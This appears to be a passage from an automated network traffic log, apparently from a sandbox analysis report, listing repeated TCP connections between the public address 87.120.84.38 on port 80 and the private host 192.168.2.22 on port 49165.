Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
